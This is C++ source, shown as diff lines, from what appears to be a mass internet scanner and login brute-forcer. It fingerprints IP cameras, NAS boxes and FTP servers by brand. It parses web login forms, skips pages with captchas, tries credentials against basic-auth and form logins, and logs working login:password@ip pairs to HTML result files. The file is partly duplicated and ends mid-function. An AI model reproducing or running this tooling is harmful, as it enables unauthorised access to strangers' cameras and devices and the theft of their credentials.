if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //IPC web ip cam + if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam + if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstri(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstri(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera server") != NULL + || strstr(buffcpy, "ipcamera") != NULL || strstr(buffcpy, "$lock extended") != NULL + || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ipcam_language") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL + ) return 0; + if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; + if(globalSearchPrnt(buffcpy) == -1) return -1; + if(strstr(buffcpy, "
1600 +int _mainFinderSecond(char *buffcpy, int port, char *ip) +{ + if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) + && strstr(buffcpy, "digest realm") != NULL) return 101; + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) + ) return 1; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || + strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "") != NULL) return 32; //web ip cam + if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam + if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstr(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera server") != NULL + || strstr(buffcpy, "ipcamera") != NULL || strstr(buffcpy, "$lock extended") != NULL + || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ipcam_language") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL + ) return 0; + + if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; + if(globalSearchPrnt(buffcpy) == -1) return -1; + if(strstr(buffcpy, " 500 && sz <= 3500) || sz > 180000) + { + res = _mainFinderFirst(lBuff, 0, port, ip); + } + else if(sz > 3500 && sz <= 180000) + { + res = _mainFinderSecond(lBuff, port, ip); + }; + delete []lBuff; + return res; + } + else return -1; +}; +void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss) +{ + if(trackerOK == true) + { + while(gGlobalTrackLocked == true) Sleep(10); + gGlobalTrackLocked = true; + + QJsonObject jsonData; + + if(gMode == 0 || gMode == -1) + { + if(strlen(ip) > 0) jsonData.insert("ip_addr", QJsonValue(QString(ip)) ); + else jsonData.insert("ip_addr", QJsonValue(QString("")) ); + + jsonData.insert("hostname", QJsonValue(QString(hostname)) ); + } + else + { + jsonData.insert("ip_addr", QJsonValue(QString("")) ); + jsonData.insert("hostname", QJsonValue(QString(ip)) ); + }; + + jsonData.insert("port", QJsonValue(QString(port).replace(":", "")) ); + jsonData.insert("recv", QJsonValue(QString(sz)) ); + QString tt = QString(base64_encode((const unsigned char *)title, strlen(title)).c_str()); + if(strlen(title) == 0) jsonData.insert("title", QJsonValue(QString("NULL")) ); + else jsonData.insert("title", QJsonValue(QString(base64_encode((const unsigned char *)title, strlen(title)).c_str())) ); + if(strlen(login) > 0) jsonData.insert("login", QJsonValue(QString(login)) ); + else jsonData.insert("login", QJsonValue(QString("")) ); + if(strlen(pass) > 0) jsonData.insert("pass", QJsonValue(QString(pass)) ); + else jsonData.insert("pass", QJsonValue(QString("")) ); + if(strlen(comment) > 0) jsonData.insert("other", QJsonValue(QString(comment)) ); + else jsonData.insert("other", QJsonValue(QString("")) ); + if(strlen(cdpg) > 0) jsonData.insert("encoding", QJsonValue(QString(cdpg)) ); + else jsonData.insert("encoding", QJsonValue(QString("")) ); + if(strlen(clss) > 0) jsonData.insert("Class", QJsonValue(QString(clss)) ); + else jsonData.insert("Class", QJsonValue(QString("")) ); + + while(jsonArr == NULL); + jsonArr->push_front(jsonData); + + gGlobalTrackLocked = false; + }; +}; +int __checkFileExistence(int flag) +{ + char fileName[64] = {0}; + + if(flag == 666 || flag == 350) strcpy(fileName, "./result_files/STRANGE_ERROR.html"); + else if(flag == -22) strcpy(fileName, "./result_files/ssh.html"); + else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./result_files/strange.html"); + else if(flag == 3) strcpy(fileName, "./result_files/other.html"); + else if(flag == 7) strcpy(fileName, "./result_files/low_loads.html"); + else if(flag == 10) strcpy(fileName, "./result_files/Login_forms.html"); + else if(flag == 16) strcpy(fileName, "./result_files/FTP.html"); + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./result_files/Basicauth.html"); + + FILE *f = fopen(fileName, "r"); + if(f == NULL) return true; + else + { + fclose(f); + return false; + }; +}; + +bool ftsAnom = true; +bool ftsOther = true; +bool ftsSSH = true; +bool ftsLL = true; +bool ftsFTP = true; +bool ftsBA = true; +bool ftsLF = true; + +bool fOpened = false; +char styleBuff[1024] = {""}; +char topBuff[1024] = {"

"}; +void fputsf(char *ip, char *port, char *text, int flag, char *msg) +{ + FILE *file = NULL; + bool firstTimeYeah = false; + +#pragma region FileExistenceCheck + if(flag == 0 || flag == 15 || flag == -10) + { + if(ftsAnom) ftsAnom = __checkFileExistence(flag); + file = fopen("./result_files/strange.html", "a"); + } + else if(flag == 3) + { + if(ftsOther) ftsOther = __checkFileExistence(flag); + file = fopen("./result_files/other.html", "a"); + } + else if(flag == -22) + { + if(ftsSSH) ftsSSH = __checkFileExistence(flag); + file = fopen("./result_files/SSH.html", "a"); + } + else if(flag == 7) + { + if(ftsLL) ftsLL = __checkFileExistence(flag); + file = fopen("./result_files/low_loads.html", "a"); + } + else if(flag == 10) + { + if(ftsLF) ftsLF = __checkFileExistence(flag); + file = fopen("./result_files/Login_forms.html", "a"); + } + else if(flag == 16) + { + if(ftsFTP) ftsFTP = __checkFileExistence(flag); + file = fopen("./result_files/FTP.html", "a"); + } + else if(flag >= 17 || flag == 11 || flag == 12 + || flag == 13 || flag == 14 || flag == 1 + ) + { + if(ftsBA) ftsBA = __checkFileExistence(flag); + file = fopen("./result_files/Basicauth.html", "a"); + } + else + { + stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]"); + }; +#pragma endregion + if(file != NULL) + { + time_t rtime; + time(&rtime); + if(horLineFlag == false) + { + horLineFlag = true; + char delimiter[128] = {0}; + char cdate[32] = {0}; + strcpy (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcpy(delimiter, "
"); + strcat(delimiter, cdate); + strcat(delimiter, "
"); + fputs (delimiter, file); + }; + ++saved; + char *string = new char[strlen(text) + 512]; + if(flag != -22) + { + strcpy (string, "
"); + + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + } + else + { + strcpy (string, "
"); + + char cdate[32] = {0}; + strcat (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcat (string, cdate); + strcat (string, text); + strcat (string, "
"); + }; + +#pragma region styleFiller + if(flag == 0 && ftsAnom) + { + char tmsg[1024] = {0}; + ftsAnom = false; + strcpy(tmsg, "Anomalies"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs ("

", file); + }; + if(flag == 3 && ftsOther) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "Suspicious"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == -22 && ftsSSH) + { + char tmsg[1024] = {0}; + ftsOther = false; + strcpy(tmsg, "SSH"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 7 && ftsLL) + { + char tmsg[1024] = {0}; + ftsLL = false; + strcpy(tmsg, "Lowloads"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 16 && ftsFTP) + { + char tmsg[1024] = {0}; + ftsFTP = false; + strcpy(tmsg, "FTP"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + if(flag == 10 && ftsLF) + { + char tmsg[1024] = {0}; + ftsLF = false; + strcpy(tmsg, "LoginsForms"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + + }; + if((flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1) && ftsBA) + { + char tmsg[1024] = {0}; + ftsBA = false; + strcpy(tmsg, "BasicAuth"); + strcat(tmsg, msg); + strcat(tmsg, styleBuff); + fputs (tmsg, file); + fputs (topBuff, file); + }; + +#pragma endregion + int innerCounter = 0; + while(fOpened) + { + if(innerCounter > 20) + { + stt->doEmitionRedFoundData("\"fOpened\" loop detected!"); + break; + }; + ++innerCounter; + Sleep((rand() % 300 + 60)); + }; + fOpened = true; + fputs (string, file); + fclose (file); + fOpened = false; + + delete []string; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]"); +#pragma endregion + }; +}; +void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) +{ + char log[4096] = {0}, msg[512] = {0}; + + if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "[A]:"); + else if(flag == 3) strcpy(msg, "[S]:"); + else if(flag == 7) strcpy(msg, "[LL]:"); + else if(flag == 2) strcpy(msg, "[P]:"); + else if(flag == 666 || flag == 350) strcpy(msg, "[Strange Error]:"); + else if(flag == 10) strcpy(msg, "[LF]:"); + + QTextCodec *codec; + strcat(msg, ""); + strcat(msg, ip); + strcat(msg, ":"); + strcat(msg, port); + strcat(msg, ""); + + QString resMes(msg); + QString strf; + if(strstri(cp, "shift_jis") != NULL) + { + codec = QTextCodec::codecForName("Shift-JIS"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "utf") != NULL) + { + codec = QTextCodec::codecForName("UTF-8"); + strf = codec->toUnicode(finalstr); + } + else if(strstri(cp, "cp") != NULL || strstri(cp, "windows") != NULL) + { + codec = QTextCodec::codecForName("Windows-1251"); + strf = codec->toUnicode(finalstr); + } + else strf = QString(finalstr); + if(flag != 6 && flag != 5 && flag != 4 && flag != 666 && flag != 350) + { + strcat(msg, " : "); + int sz = strf.size(); + strncat(msg, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), (sz < 128 ? sz : 128)); + strcat(msg, ""); + resMes += " : " + QString(finalstr).toHtmlEscaped() + ""; + }; +#pragma region QTGUI_Area + stt->doEmitionFoundData(resMes); +#pragma endregion + + + strcpy(log, ""); + strcat(log, hl); + strcat(log, ""); + int flr = 40 - strlen(hl); + if(flr > 0) + { + while(flr != 0) + { + strcat(log, " "); + --flr; + }; + } + else strcat(log, " "); + strcat(log, ""); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, "; Received: "); + strcat(log, std::to_string((long double)recd).c_str()); + strcat(log, ""); + + if(flag == 666 || flag == 350) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Strange error"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 0 || flag == 15 || flag == -10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Anomaly"); + ++PieAnomC1; + ++AnomC1; + } + else if(flag == 3) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Suspicious"); + ++PieSusp; + ++Susp; + } + else if(flag == 7) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Low load"); + ++PieLowl; + } + else if(flag == 10) + { + fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, "", "", "", cp, "Login form"); + ++PieWF; + }; + + if(flag != 6 && flag != 5 && flag != 4) + { + strcat(log, "; T: "); + + strncat(log, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), 100); + strcat(log, ""); + }; + strcat(log, "\n"); + + fputsf (ip, port, log, flag, msg); + + ZeroMemory(msg, strlen(msg)); +}; +void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieBA; + + strcpy(log, "[BA]:"); + strcat(log, ""); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, "@"); + strcat(log, ip); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Basic Authorization"); +}; +void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +{ + char log[512] = {0}; + + ++PieWF; + + strcpy(log, "[WF]:"); + strcat(log, ""); + strcat(log, ip); + strcat(log, ":"); + strcat(log, port); + strcat(log, " T: "); + strcat(log, finalstr); + strcat(log, " Pass: "); + strcat(log, login); + strcat(log, ":"); + strcat(log, pass); + strcat(log, ""); + strcat(log, "\n"); +#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(log)); +#pragma endregion + fputsf (ip, port, log , flag, "Web Form"); +}; +void _getFormVal(char *data, char *result, char *key, char *path = NULL) +{ + char parVal[256] = {0}; + int psz = 0; + char *pkeyResult1 = strstr(data, ">"); + if(pkeyResult1 != NULL) + { + psz = pkeyResult1 - data + 1; + strncpy(parVal, data, (psz < 256 ? psz : 256)); + } + else + { + strncpy(parVal, data, 256); + }; + int sz = 0; + char parVal2[256] = {0}; + + char startPath[256] = {0}; + if(strcmp(key, "action") == 0) + { + if(strstr(path, "./") == NULL) + { + char *ptrP1 = FindLastOcc(path, "/"); + if(ptrP1 != path) + { + int pSz = ptrP1 -path; + strncpy(startPath, path, pSz); + }; + }; + }; + char *keyResult1 = strstri(parVal, key); + if(keyResult1 != NULL) + { + char *pkeyResult2 = _findFirstOcc(keyResult1, " >"); + if(pkeyResult2 != NULL) + { + int psz2 = pkeyResult2 - keyResult1; + strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); + + char *keyResult2 = _findFirstOcc(parVal2, "'\""); + if(keyResult2 != NULL) + { + char *keyResult3 = _findFirstOcc(keyResult2 + 1, "'\"> "); + if(keyResult3 != NULL) + { + sz = keyResult3 - keyResult2 - 1; + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + }; + } + else + { + keyResult2 = _findFirstOcc(parVal2, "="); + if(keyResult2 != NULL) + { + char *keyResult3 = _findFirstOcc(keyResult2, "'\"> "); + if(keyResult3 != NULL ) + { + sz = keyResult3 - keyResult2 - 1; + strncpy(result, keyResult2 + 1, sz); + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strcpy(result, startPath); + strcat(result, keyResult2 + 1); + }; + } + }; + + } + else + { + stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); + }; + }; +}; + +static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; +vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); +static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"}; +vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); + +char *_getAttribute(char *str, char *attrib) +{ + if(strstri(str, attrib) != NULL) + { + char res[1024] = {0}; + char *ptrStart = strstri(str, attrib); + char *ptrEnd = _findFirstOcc(ptrStart, "\r\n"); + if(ptrEnd != NULL) + { + int szAt = strlen(attrib); + int sz = ptrEnd - ptrStart - szAt; + + if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); + else return ""; + + return res; + } + else return ""; + } + else return ""; +}; +void _getInputVal(std::vector inputVec, char *buff, char *key) +{ + char *pos = NULL; + char field[128] = {0}; + if(strcmp(key, "USER") == 0) + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecUser.size(); ++j) + { + pos = strstri(field, vecUser[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + } + else + { + for(int i = 0; i < inputVec.size(); ++i) + { + ZeroMemory(field, 128); + _getFormVal((char*)inputVec[i].data(), field, "name="); + for(int j = 0; j < vecPass.size(); ++j) + { + pos = strstri(field, vecPass[j].data()); + if(pos != NULL) + { + strncpy(buff, field, 128); + return; + }; + }; + }; + }; +}; +void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) +{ + char cookie[1024] = {0}; + + if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) + { + if(gNegDebugMode) + { + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(port) + "" + "] Ignoring: Captcha detected."); + }; + return; + }; + OnLiner = 1; + + char b[16] = {0}; + char methodVal[128] = {0}; + char actionVal[512] = {0}; + char userVal[128] = {0}; + char passVal[128] = {0}; + char frmBlock[4096] = {0}; + char *fBlock = strstri(buff, " inputVec; + if(fBlock != NULL) + { + char *fBlock2 = strstri(fBlock, ">"); + int szfb2 = fBlock2 - fBlock; + strncpy(formVal, fBlock, (szfb2 < 128 ? szfb2 : 128)); + char *frmBlockEnd = strstri(fBlock, ""); + if(frmBlockEnd != NULL) + { + fbsz = frmBlockEnd - fBlock; + strncpy(frmBlock, fBlock, (fbsz < 4096 ? fbsz : 4096)); + } + else + { + strncpy(frmBlock, fBlock, 4096); + }; + + _getFormVal(frmBlock, methodVal, "method"); + _getFormVal(frmBlock, actionVal, "action", path); + if(actionVal[0] == '.') + { + char tmpBuff[512] = {0}; + char *tempPtr1 = FindLastOcc(path, "/"); + int sz = tempPtr1 - path; + if(sz > 0) + { + strncpy(tmpBuff, path, sz); + strncat(tmpBuff, actionVal + 1, strlen(actionVal) - 1); + ZeroMemory(actionVal, sizeof(actionVal)); + strcpy(actionVal, tmpBuff); + }; + }; + + char *inptPtr1 = strstri(frmBlock, ""); + if(inptPtrEnd != NULL) + { + insz = inptPtrEnd - inptPtr1 + 1; + strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128)); + inputVec.push_back(std::string(tempInptStr)); + inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); + }; + + if(strlen(methodVal) == 0) + { + strcpy(methodVal, "GET"); + }; + if(strlen(actionVal) == 0) + { + strcpy(actionVal, "/"); + } + else + { + if(strstri(actionVal, "http") != NULL) + { + char tmp[128] = {0}; + strncpy(tmp, actionVal, 128); + if(strstr(tmp, "//") != NULL) + { + char *tmp1 = strstr(tmp, "//"); + char *tmp2 = strstr(tmp1 + 2, "/"); + ZeroMemory(actionVal, 128); + if(tmp2 != NULL) + { + strncpy(actionVal, tmp2, strlen(tmp2)); + } + else + { + strcpy(actionVal, "/"); + }; + } + else if(strstr(tmp, "%2f%2f") != NULL) + { + char *tmp1 = strstr(tmp, "%2f%2f"); + char *tmp2 = 